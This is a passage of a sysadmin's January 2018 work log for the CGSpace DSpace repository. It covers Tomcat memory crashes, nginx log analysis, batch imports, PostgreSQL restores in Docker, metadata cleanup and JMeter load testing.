  • For example, this one is from just last month: https://cgspace.cgiar.org/handle/10568/89930
    • +
  • Our controlled vocabulary has this in the format without the abbreviation: International Center for Tropical Agriculture
    • +
  • So some submitters don’t know to use the controlled vocabulary lookup
    • +
  • Help Sisay with some thumbnails for book chapters in Open Refine and SAFBuilder
    • +
  • CGSpace users were having problems logging in, I think something’s wrong with LDAP because I see this in the logs:
    • +
+
2018-01-15 12:53:15,810 WARN  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=2386749547D03E0AA4EC7E44181A7552:ip_addr=x.x.x.x:ldap_authentication:type=failed_auth javax.naming.AuthenticationException\colon; [LDAP\colon; error code 49 - 80090308\colon; LdapErr\colon; DSID-0C090400, comment\colon; AcceptSecurityContext error, data 775, v1db1^@]
+
    +
  • Looks like we processed 2.9 million requests on CGSpace in 2017-12:
    • +
+
# time zcat --force /var/log/nginx/* | grep -cE "[0-9]{1,2}/Dec/2017"
+2890041
+
+real    0m25.756s
+user    0m28.016s
+sys     0m2.210s
+

2018-01-16

+
    +
  • Meeting with CGSpace team, a few action items: +
      +
    • Discuss standardized names for CRPs and centers with ICARDA (don’t wait for CG Core)
      • +
    • Re-send DC rights implementation and forward to everyone so we can move forward with it (without the URI field for now)
      • +
    • Start looking at where I was with the AGROVOC API
      • +
    • Have a controlled vocabulary for CGIAR authors’ names and ORCIDs? Perhaps values like: Orth, Alan S. (0000-0002-1735-7458)
      • +
    • Need to find the metadata field name that ICARDA is using for their ORCIDs
      • +
    • Update text for DSpace version plan on wiki
      • +
    • Come up with an SLA, something like: In return for your contribution we will, to the best of our ability, ensure 99.5% (“two and a half nines”) uptime of CGSpace, ensure data is stored in open formats and safely backed up, follow CG Core metadata standards, …
      • +
    • Add Sisay and Danny to Uptime Robot and allow them to restart Tomcat on CGSpace ✔
      • +
    +
    • +
  • I removed Tsega’s SSH access to the web and DSpace servers, and asked Danny to check whether there is anything he needs from Tsega’s home directories so we can delete the accounts completely
    • +
  • I removed Tsega’s access to Linode dashboard as well
    • +
  • I ended up creating a Jira issue for my db.jndi documentation fix: DS-3803
    • +
  • The DSpace developers said they wanted each pull request to be associated with a Jira issue
    • +
+

2018-01-17

+
    +
  • Abenet asked me to proof and upload 54 records for LIVES
    • +
  • A few records were missing countries (even though they’re all from Ethiopia)
    • +
  • Also, there are whitespace issues in many columns, and the items are mapped to the LIVES and ILRI articles collections, not Theses
    • +
  • In any case, importing them like this:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m -XX:+TieredCompilation -XX:TieredStopAtLevel=1"
+$ dspace import -a -e aorth@mjanja.ch -s /tmp/2018-01-16\ LIVES/SimpleArchiveFormat -m lives.map &> lives.log
+
    +
  • And fantastic, before I started the import there were 10 PostgreSQL connections, and then CGSpace crashed during the upload
    • +
  • When I looked there were 210 PostgreSQL connections!
    • +
  • I don’t see any high load in XMLUI or REST/OAI:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "17/Jan/2018" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    381 40.77.167.124
+    403 213.55.99.121
+    431 207.46.13.60
+    445 157.55.39.113
+    445 157.55.39.231
+    449 95.108.181.88
+    453 68.180.229.254
+    593 54.91.48.104
+    757 104.196.152.243
+    776 66.249.66.90
+# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "17/Jan/2018" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+     11 205.201.132.14
+     11 40.77.167.124
+     15 35.226.23.240
+     16 157.55.39.231
+     16 66.249.64.155
+     18 66.249.66.90
+     22 95.108.181.88
+     58 104.196.152.243
+   4106 70.32.83.92
+   9229 45.5.184.196
+
    +
  • But I do see this strange message in the dspace log:
    • +
+
2018-01-17 07:59:25,856 INFO  org.apache.http.impl.client.SystemDefaultHttpClient @ I/O exception (org.apache.http.NoHttpResponseException) caught when processing request to {}->http://localhost:8081: The target server failed to respond
+2018-01-17 07:59:25,856 INFO  org.apache.http.impl.client.SystemDefaultHttpClient @ Retrying request to {}->http://localhost:8081
+
    +
  • I have NEVER seen this error before, and there is no error before or after that in DSpace’s solr.log
    • +
  • Tomcat’s catalina.out does show something interesting, though, right at that time:
    • +
+
[====================>                              ]40% time remaining: 7 hour(s) 14 minute(s) 45 seconds. timestamp: 2018-01-17 07:57:02
+[====================>                              ]40% time remaining: 7 hour(s) 14 minute(s) 45 seconds. timestamp: 2018-01-17 07:57:11
+[====================>                              ]40% time remaining: 7 hour(s) 14 minute(s) 44 seconds. timestamp: 2018-01-17 07:57:37
+[====================>                              ]40% time remaining: 7 hour(s) 16 minute(s) 5 seconds. timestamp: 2018-01-17 07:57:49
+Exception in thread "http-bio-127.0.0.1-8081-exec-627" java.lang.OutOfMemoryError: Java heap space
+        at org.apache.lucene.util.FixedBitSet.clone(FixedBitSet.java:576)
+        at org.apache.solr.search.BitDocSet.andNot(BitDocSet.java:222)
+        at org.apache.solr.search.SolrIndexSearcher.getProcessedFilter(SolrIndexSearcher.java:1067)
+        at org.apache.solr.search.SolrIndexSearcher.getDocListNC(SolrIndexSearcher.java:1557)
+        at org.apache.solr.search.SolrIndexSearcher.getDocListC(SolrIndexSearcher.java:1433)
+        at org.apache.solr.search.SolrIndexSearcher.search(SolrIndexSearcher.java:514)
+        at org.apache.solr.handler.component.QueryComponent.process(QueryComponent.java:485)
+        at org.apache.solr.handler.component.SearchHandler.handleRequestBody(SearchHandler.java:218)
+        at org.apache.solr.handler.RequestHandlerBase.handleRequest(RequestHandlerBase.java:135)
+        at org.apache.solr.core.SolrCore.execute(SolrCore.java:1967)
+        at org.apache.solr.servlet.SolrDispatchFilter.execute(SolrDispatchFilter.java:777)
+        at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:418)
+        at org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:207)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.dspace.solr.filters.LocalHostRestrictionFilter.doFilter(LocalHostRestrictionFilter.java:50)
+        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
+        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
+        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:221)
+        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)
+        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:505)
+        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
+        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
+        at org.apache.catalina.valves.CrawlerSessionManagerValve.invoke(CrawlerSessionManagerValve.java:180)
+        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:956)
+        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
+        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:436)
+        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1078)
+        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:625)
+        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:318) 
+        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+
    +
  • You can see the timestamp above, which is some Atmire nightly task I think, but I can’t figure out which one
    • +
  • So I restarted Tomcat and tried the import again, which finished very quickly and without errors!
    • +
+
$ dspace import -a -e aorth@mjanja.ch -s /tmp/2018-01-16\ LIVES/SimpleArchiveFormat -m lives2.map &> lives2.log
+
    +
  • Looking at the JVM graphs from Munin it does look like the heap ran out of memory (see the blue dip just before the green spike when I restarted Tomcat):
    • +
+

Tomcat JVM Heap

+ +
$ docker pull docker.bintray.io/jfrog/artifactory-oss:latest
+$ docker volume create --name artifactory5_data
+$ docker network create dspace-build
+$ docker run --network dspace-build --name artifactory -d -v artifactory5_data:/var/opt/jfrog/artifactory -p 8081:8081 docker.bintray.io/jfrog/artifactory-oss:latest
+
    +
  • Then configure the local maven to use it in settings.xml with the settings from “Set Me Up”: https://www.jfrog.com/confluence/display/RTF/Using+Artifactory
    • +
  • This could be a game changer for testing and running the Docker DSpace image
    • +
  • Wow, I even managed to add the Atmire repository as a remote and map it into the libs-release virtual repository, then tell maven to use it for atmire.com-releases in settings.xml!
    • +
  • Hmm, some maven dependencies for the SWORDv2 web application in DSpace 5.5 are broken:
    • +
+
[ERROR] Failed to execute goal on project dspace-swordv2: Could not resolve dependencies for project org.dspace:dspace-swordv2:war:5.5: Failed to collect dependencies at org.swordapp:sword2-server:jar:classes:1.0 -> org.apache.abdera:abdera-client:jar:1.1.1 -> org.apache.abdera:abdera-core:jar:1.1.1 -> org.apache.abdera:abdera-i18n:jar:1.1.1 -> org.apache.geronimo.specs:geronimo-activation_1.0.2_spec:jar:1.1: Failed to read artifact descriptor for org.apache.geronimo.specs:geronimo-activation_1.0.2_spec:jar:1.1: Could not find artifact org.apache.geronimo.specs:specs:pom:1.1 in central (http://localhost:8081/artifactory/libs-release) -> [Help 1]
+
    +
  • I never noticed because I build with that web application disabled:
    • +
+
$ mvn -U -Dmirage2.on=true -Dmirage2.deps.included=false -Denv=localhost -P \!dspace-sword,\!dspace-swordv2 clean package
+
    +
  • UptimeRobot said CGSpace went down for a few minutes
    • +
  • I didn’t do anything but it came back up on its own
    • +
  • I don’t see anything unusual in the XMLUI or REST/OAI logs
    • +
  • Now Linode alert says the CPU load is high, sigh
    • +
  • Regarding the heap space error earlier today, it looks like it does happen a few times a week or month (I’m not sure how far these logs go back, as they are not strictly daily):
    • +
+
# zgrep -c java.lang.OutOfMemoryError /var/log/tomcat7/catalina.out* | grep -v :0
+/var/log/tomcat7/catalina.out:2
+/var/log/tomcat7/catalina.out.10.gz:7
+/var/log/tomcat7/catalina.out.11.gz:1
+/var/log/tomcat7/catalina.out.12.gz:2
+/var/log/tomcat7/catalina.out.15.gz:1
+/var/log/tomcat7/catalina.out.17.gz:2
+/var/log/tomcat7/catalina.out.18.gz:3
+/var/log/tomcat7/catalina.out.20.gz:1
+/var/log/tomcat7/catalina.out.21.gz:4
+/var/log/tomcat7/catalina.out.25.gz:1
+/var/log/tomcat7/catalina.out.28.gz:1
+/var/log/tomcat7/catalina.out.2.gz:6
+/var/log/tomcat7/catalina.out.30.gz:2
+/var/log/tomcat7/catalina.out.31.gz:1
+/var/log/tomcat7/catalina.out.34.gz:1
+/var/log/tomcat7/catalina.out.38.gz:1
+/var/log/tomcat7/catalina.out.39.gz:1
+/var/log/tomcat7/catalina.out.4.gz:3
+/var/log/tomcat7/catalina.out.6.gz:2
+/var/log/tomcat7/catalina.out.7.gz:14
+
    +
  • Overall the heap space usage in the munin graph seems ok, though I usually increase it by 512MB over the average a few times per year as usage grows
    • +
  • But maybe I should increase it by more, like 1024MB, to give a bit more head room
    • +
+

2018-01-18

+
    +
  • UptimeRobot said CGSpace was down for 1 minute last night
    • +
  • I don’t see any errors in the nginx or catalina logs, so I guess UptimeRobot just got impatient and closed the request, which caused nginx to send an HTTP 499
    • +
  • I realize I never did a full re-index after the SQL author and affiliation updates last week, so I should force one now:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m -XX:+TieredCompilation -XX:TieredStopAtLevel=1"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 /home/cgspace.cgiar.org/bin/dspace index-discovery -b
+
    +
  • Maria from Bioversity asked if I could remove the abstracts from all of their Limited Access items in the Bioversity Journal Articles collection
    • +
  • It’s easy enough to do in OpenRefine, but you have to be careful to only get those items that are uploaded into Bioversity’s collection, not the ones that are mapped from others!
    • +
  • Use this GREL in OpenRefine after isolating all the Limited Access items: value.startsWith("10568/35501")
    • +
  • UptimeRobot said CGSpace went down AGAIN and both Sisay and Danny immediately logged in and restarted Tomcat without talking to me or each other!
    • +
+
Jan 18 07:01:22 linode18 sudo[10805]: dhmichael : TTY=pts/5 ; PWD=/home/dhmichael ; USER=root ; COMMAND=/bin/systemctl restart tomcat7
+Jan 18 07:01:22 linode18 sudo[10805]: pam_unix(sudo:session): session opened for user root by dhmichael(uid=0)
+Jan 18 07:01:22 linode18 systemd[1]: Stopping LSB: Start Tomcat....
+Jan 18 07:01:22 linode18 sudo[10812]: swebshet : TTY=pts/3 ; PWD=/home/swebshet ; USER=root ; COMMAND=/bin/systemctl restart tomcat7
+Jan 18 07:01:22 linode18 sudo[10812]: pam_unix(sudo:session): session opened for user root by swebshet(uid=0)
+
    +
  • I had to cancel the Discovery indexing and I’ll have to re-try it another time when the server isn’t so busy (it had already taken two hours and wasn’t even close to being done)
    • +
  • For now I’ve increased the Tomcat JVM heap from 5632 to 6144m, to give ~1GB of free memory over the average usage to hopefully account for spikes caused by load or background jobs
    • +
+

2018-01-19

+
    +
  • Linode alerted and said that the CPU load was 264.1% on CGSpace
    • +
  • Start the Discovery indexing again:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m -XX:+TieredCompilation -XX:TieredStopAtLevel=1"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 /home/cgspace.cgiar.org/bin/dspace index-discovery -b
+
    +
  • Linode alerted again and said that CGSpace was using 301% CPU
    • +
  • Peter emailed to ask why this item doesn’t have an Altmetric badge on CGSpace but does have one on the Altmetric dashboard
    • +
  • Looks like our badge code calls the handle endpoint which doesn’t exist:
    • +
+
https://api.altmetric.com/v1/handle/10568/88090
+
    +
  • I told Peter we should keep an eye out and try again next week
    • +
+

2018-01-20

+
    +
  • Run the authority indexing script on CGSpace and of course it died:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 /home/cgspace.cgiar.org/bin/dspace index-authority 
+Retrieving all data 
+Initialize org.dspace.authority.indexer.DSpaceAuthorityIndexer 
+Exception: null
+java.lang.NullPointerException
+        at org.dspace.authority.AuthorityValueGenerator.generateRaw(AuthorityValueGenerator.java:82)
+        at org.dspace.authority.AuthorityValueGenerator.generate(AuthorityValueGenerator.java:39)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.prepareNextValue(DSpaceAuthorityIndexer.java:201)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:132)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:159)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.DSpaceAuthorityIndexer.hasMore(DSpaceAuthorityIndexer.java:144)
+        at org.dspace.authority.indexer.AuthorityIndexClient.main(AuthorityIndexClient.java:61)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+ 
+real    7m2.241s
+user    1m33.198s
+sys     0m12.317s
+
    +
  • I tested the abstract cleanups on Bioversity’s Journal Articles collection again that I had started a few days ago
    • +
  • In the end there were 324 items in the collection that were Limited Access, but only 199 had abstracts
    • +
  • I want to document the workflow of adding a production PostgreSQL database to a development instance of DSpace in Docker:
    • +
+
$ docker exec dspace_db dropdb -U postgres dspace
+$ docker exec dspace_db createdb -U postgres -O dspace --encoding=UNICODE dspace
+$ docker exec dspace_db psql -U postgres dspace -c 'alter user dspace createuser;'
+$ docker cp test.dump dspace_db:/tmp/test.dump
+$ docker exec dspace_db pg_restore -U postgres -d dspace /tmp/test.dump
+$ docker exec dspace_db psql -U postgres dspace -c 'alter user dspace nocreateuser;'
+$ docker exec dspace_db vacuumdb -U postgres dspace
+$ docker cp ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspace_db:/tmp
+$ docker exec dspace_db psql -U dspace -f /tmp/update-sequences.sql dspace
+

2018-01-22

+
    +
  • Look over Udana’s CSV of 25 WLE records from last week
    • +
  • I sent him some corrections: +
      +
    • The file encoding is Windows-1252
      • +
    • There were whitespace issues in the dc.identifier.citation field (spaces at the beginning and end, and multiple spaces in between some words)
      • +
    • Also, the authors listed in the citation need to be in normal format, separated by commas or colons (however you prefer), not with ||
      • +
    • There were spaces in the beginning and end of some cg.identifier.doi fields
      • +
    • Make sure that the cg.coverage.countries field is just countries: ie, no “SOUTH ETHIOPIA” or “EAST AFRICA” (the first should just be ETHIOPIA, the second should be in cg.coverage.region instead)
      • +
    • The current list of regions we use is here: https://github.com/ilri/DSpace/blob/5_x-prod/dspace/config/input-forms.xml#L5162
      • +
    • You have a syntax error in your cg.coverage.regions (extra ||)
      • +
    • The value of dc.identifier.issn should just be the ISSN but you have: eISSN: 1479-487X
      • +
    +
    • +
  • I wrote a quick Python script to use the DSpace REST API to find all collections under a given community
    • +
  • The source code is here: rest-find-collections.py
    • +
  • Peter had said that found a bunch of ILRI collections that were called “untitled”, but I don’t see any:
    • +
+
$ ./rest-find-collections.py 10568/1 | wc -l
+308
+$ ./rest-find-collections.py 10568/1 | grep -i untitled
+
    +
  • Looking at the Tomcat connector docs I think we really need to increase maxThreads
    • +
  • The default is 200, which can easily be taken up by bots considering that Google and Bing each browse with fifty (50) connections each sometimes!
    • +
  • Before I increase this I want to see if I can measure and graph this, and then benchmark
    • +
  • I’ll probably also increase minSpareThreads to 20 (its default is 10)
    • +
  • I still want to bump up acceptorThreadCount from 1 to 2 as well, as the documentation says this should be increased on multi-core systems
    • +
  • I spent quite a bit of time looking at jvisualvm and jconsole today
    • +
  • Run system updates on DSpace Test and reboot it
    • +
  • I see I can monitor the number of Tomcat threads and some detailed JVM memory stuff if I install munin-plugins-java
    • +
  • I’d still like to get arbitrary mbeans like activeSessions etc, though
    • +
  • I can’t remember if I had to configure the jmx settings in /etc/munin/plugin-conf.d/munin-node or not—I think all I did was re-run the munin-node-configure script and of course enable JMX in Tomcat’s JVM options
    • +
+

2018-01-23

+
    +
  • Thinking about generating a jmeter test plan for DSpace, along the lines of Georgetown’s dspace-performance-test
    • +
  • I got a list of all the GET requests on CGSpace for January 21st (the last time Linode complained the load was high), excluding admin calls:
    • +
+
# zcat --force /var/log/nginx/access.log.2.gz /var/log/nginx/access.log.3.gz /var/log/nginx/library-access.log.2.gz /var/log/nginx/library-access.log.3.gz /var/log/nginx/rest.log.2.gz /var/log/nginx/rest.log.3.gz /var/log/nginx/oai.log.2.gz /var/log/nginx/oai.log.3.gz /var/log/nginx/error.log.2.gz /var/log/nginx/error.log.3.gz | grep "21/Jan/2018" | grep "GET " | grep -c -v "/admin"
+56405
+
    +
  • Apparently about 28% of these requests were for bitstreams, 30% for the REST API, and 30% for handles:
    • +
+
# zcat --force /var/log/nginx/access.log.2.gz /var/log/nginx/access.log.3.gz /var/log/nginx/library-access.log.2.gz /var/log/nginx/library-access.log.3.gz /var/log/nginx/rest.log.2.gz /var/log/nginx/rest.log.3.gz /var/log/nginx/oai.log.2.gz /var/log/nginx/oai.log.3.gz /var/log/nginx/error.log.2.gz /var/log/nginx/error.log.3.gz | grep "21/Jan/2018" | grep "GET " | grep -v "/admin" | awk '{print $7}' | grep -Eo "^/(handle|bitstream|rest|oai)/" | sort | uniq -c | sort -n
+     38 /oai/
+  14406 /bitstream/
+  15179 /rest/
+  15191 /handle/
+
    +
  • And 3% were to the homepage or search:
    • +
+
# zcat --force /var/log/nginx/access.log.2.gz /var/log/nginx/access.log.3.gz /var/log/nginx/library-access.log.2.gz /var/log/nginx/library-access.log.3.gz /var/log/nginx/rest.log.2.gz /var/log/nginx/rest.log.3.gz /var/log/nginx/oai.log.2.gz /var/log/nginx/oai.log.3.gz /var/log/nginx/error.log.2.gz /var/log/nginx/error.log.3.gz | grep "21/Jan/2018" | grep "GET " | grep -v "/admin" | awk '{print $7}' | grep -Eo '^/($|open-search|discover)' | sort | uniq -c
+   1050 /
+    413 /discover
+    170 /open-search
+
    +
  • The last 10% or so seem to be for static assets that would be served by nginx anyways:
    • +
+
# zcat --force /var/log/nginx/access.log.2.gz /var/log/nginx/access.log.3.gz /var/log/nginx/library-access.log.2.gz /var/log/nginx/library-access.log.3.gz /var/log/nginx/rest.log.2.gz /var/log/nginx/rest.log.3.gz /var/log/nginx/oai.log.2.gz /var/log/nginx/oai.log.3.gz /var/log/nginx/error.log.2.gz /var/log/nginx/error.log.3.gz | grep "21/Jan/2018" | grep "GET " | grep -v "/admin" | awk '{print $7}' | grep -v bitstream | grep -Eo '\.(js|css|png|jpg|jpeg|php|svg|gif|txt|map)$' | sort | uniq -c | sort -n
+      2 .gif
+      7 .css
+     84 .js
+    433 .php
+    882 .txt
+   2551 .png
+
    +
  • I can definitely design a test plan on this!
    • +
+

2018-01-24

+
    +
  • Looking at the REST requests, most of them are to expand all or metadata, but 5% are for retrieving bitstreams:
    • +
+
# zcat --force /var/log/nginx/access.log.3.gz /var/log/nginx/access.log.4.gz /var/log/nginx/library-access.log.3.gz /var/log/nginx/library-access.log.4.gz /var/log/nginx/rest.log.3.gz /var/log/nginx/rest.log.4.gz /var/log/nginx/oai.log.3.gz /var/log/nginx/oai.log.4.gz /var/log/nginx/error.log.3.gz /var/log/nginx/error.log.4.gz | grep "21/Jan/2018" | grep "GET " | grep -v "/admin" | awk '{print $7}' | grep -E "^/rest" | grep -Eo "(retrieve|expand=[a-z].*)" | sort | uniq -c | sort -n
+      1 expand=collections
+     16 expand=all&limit=1
+     45 expand=items
+    775 retrieve
+   5675 expand=all
+   8633 expand=metadata
+
    +
  • I finished creating the test plan for DSpace Test and ran it from my Linode with:
    • +
+
$ jmeter -n -t DSpacePerfTest-dspacetest.cgiar.org.jmx -l 2018-01-24-1.jtl
+
    +
  • Atmire responded to my issue from two weeks ago and said they will start looking into DSpace 5.8 compatibility for CGSpace
    • +
  • I set up a new Arch Linux Linode instance with 8192 MB of RAM and ran the test plan a few times to get a baseline:
    • +
+
# lscpu
+# lscpu 
+Architecture:        x86_64
+CPU op-mode(s):      32-bit, 64-bit
+Byte Order:          Little Endian
+CPU(s):              4
+On-line CPU(s) list: 0-3
+Thread(s) per core:  1
+Core(s) per socket:  1
+Socket(s):           4
+NUMA node(s):        1
+Vendor ID:           GenuineIntel
+CPU family:          6
+Model:               63
+Model name:          Intel(R) Xeon(R) CPU E5-2680 v3 @ 2.50GHz
+Stepping:            2
+CPU MHz:             2499.994
+BogoMIPS:            5001.32
+Hypervisor vendor:   KVM
+Virtualization type: full
+L1d cache:           32K
+L1i cache:           32K
+L2 cache:            4096K
+L3 cache:            16384K
+NUMA node0 CPU(s):   0-3
+Flags:               fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm cpuid_fault invpcid_single pti retpoline fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt arat
+# free -m
+              total        used        free      shared  buff/cache   available
+Mem:           7970         107        7759           1         103        7771
+Swap:           255           0         255
+# pacman -Syu
+# pacman -S git wget jre8-openjdk-headless mosh htop tmux
+# useradd -m test
+# su - test
+$ git clone -b ilri https://github.com/alanorth/dspace-performance-test.git
+$ wget http://www-us.apache.org/dist//jmeter/binaries/apache-jmeter-3.3.tgz
+$ tar xf apache-jmeter-3.3.tgz
+$ cd apache-jmeter-3.3/bin
+$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-24-linode5451120-baseline.jtl -j ~/dspace-performance-test/2018-01-24-linode5451120-baseline.log
+$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-24-linode5451120-baseline2.jtl -j ~/dspace-performance-test/2018-01-24-linode5451120-baseline2.log
+$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-24-linode5451120-baseline3.jtl -j ~/dspace-performance-test/2018-01-24-linode5451120-baseline3.log
+
    +
  • Then I generated reports for these runs like this:
    • +
+
$ jmeter -g 2018-01-24-linode5451120-baseline.jtl -o 2018-01-24-linode5451120-baseline
+

2018-01-25

+
    +
  • Run another round of tests on DSpace Test with jmeter after changing Tomcat’s minSpareThreads to 20 (default is 10) and acceptorThreadCount to 2 (default is 1):
    • +
+
$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-25-linode5451120-tomcat-threads.jtl -j ~/dspace-performance-test/2018-01-25-linode5451120-tomcat-threads.log
+$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-25-linode5451120-tomcat-threads2.jtl -j ~/dspace-performance-test/2018-01-25-linode5451120-tomcat-threads2.log
+$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-25-linode5451120-tomcat-threads3.jtl -j ~/dspace-performance-test/2018-01-25-linode5451120-tomcat-threads3.log
+
    +
  • I changed the parameters back to the baseline ones and switched the Tomcat JVM garbage collector to G1GC and re-ran the tests
    • +
  • JVM options for Tomcat changed from -Xms3072m -Xmx3072m -XX:+UseConcMarkSweepGC to -Xms3072m -Xmx3072m -XX:+UseG1GC -XX:+PerfDisableSharedMem
    • +
+
$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-25-linode5451120-g1gc.jtl -j ~/dspace-performance-test/2018-01-25-linode5451120-g1gc.log
+$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-25-linode5451120-g1gc2.jtl -j ~/dspace-performance-test/2018-01-25-linode5451120-g1gc2.log
+$ ./jmeter -n -t ~/dspace-performance-test/DSpacePerfTest-dspacetest.cgiar.org.jmx -l ~/dspace-performance-test/2018-01-25-linode5451120-g1gc3.jtl -j ~/dspace-performance-test/2018-01-25-linode5451120-g1gc3.log
+
    +
  • I haven’t had time to look at the results yet
    • +
+

2018-01-26

+
    +
  • Peter followed up about some of the points from the Skype meeting last week
    • +
  • Regarding the ORCID field issue, I see ICARDA’s MELSpace is using cg.creator.ID: 0000-0001-9156-7691
    • +
  • I had floated the idea of using a controlled vocabulary with values formatted something like: Orth, Alan S. (0000-0002-1735-7458)
    • +
  • Update PostgreSQL JDBC driver version from 42.1.4 to 42.2.1 on DSpace Test, see: https://jdbc.postgresql.org/
    • +
  • Reboot DSpace Test to get new Linode kernel (Linux 4.14.14-x86_64-linode94)
    • +
  • I am testing my old work on the dc.rights field, I had added a branch for it a few months ago
    • +
  • I added a list of Creative Commons and other licenses in input-forms.xml
    • +
  • The problem is that Peter wanted to use two questions, one for CG centers and one for other, but using the same metadata value, which isn’t possible (?)
    • +
  • So I used some creativity and made several fields display values, but not store any, ie:
    • +
+
<pair>
+  <displayed-value>For products published by another party:</displayed-value>
+  <stored-value></stored-value>
+</pair>
+
    +
  • I was worried that if a user selected this field for some reason that DSpace would store an empty value, but it simply doesn’t register that as a valid option:
    • +
+

Rights

+
    +
  • I submitted a test item with ORCiDs and dc.rights from a controlled vocabulary on DSpace Test: https://dspacetest.cgiar.org/handle/10568/97703
    • +
  • I will send it to Peter to check and give feedback (ie, about the ORCiD field name as well as allowing users to add ORCiDs manually or not)
    • +
+

2018-01-28

+
    +
  • Assist Udana from WLE again to proof his 25 records and upload them to DSpace Test
    • +
  • I am playing with the startStopThreads="0" parameter in Tomcat <Engine> and <Host> configuration
    • +
  • It reduces the start up time of Catalina by using multiple threads to start web applications in parallel
    • +
  • On my local test machine the startup time went from 70 to 30 seconds
    • +
  • See: https://tomcat.apache.org/tomcat-7.0-doc/config/host.html
    • +
+

2018-01-29

+
    +
  • CGSpace went down this morning for a few minutes, according to UptimeRobot
    • +
  • Looking at the DSpace logs I see this error happened just before UptimeRobot noticed it going down:
    • +
+
2018-01-29 05:30:22,226 INFO  org.dspace.usage.LoggerUsageEventListener @ anonymous:session_id=3775D4125D28EF0C691B08345D905141:ip_addr=68.180.229.254:view_item:handle=10568/71890
+2018-01-29 05:30:22,322 ERROR org.dspace.app.xmlui.aspect.discovery.AbstractSearch @ org.apache.solr.search.SyntaxError: Cannot parse 'dateIssued_keyword:[1994+TO+1999]': Encountered " "]" "] "" at line 1, column 32.
+Was expecting one of:
+    "TO" ...
+    <RANGE_QUOTED> ...
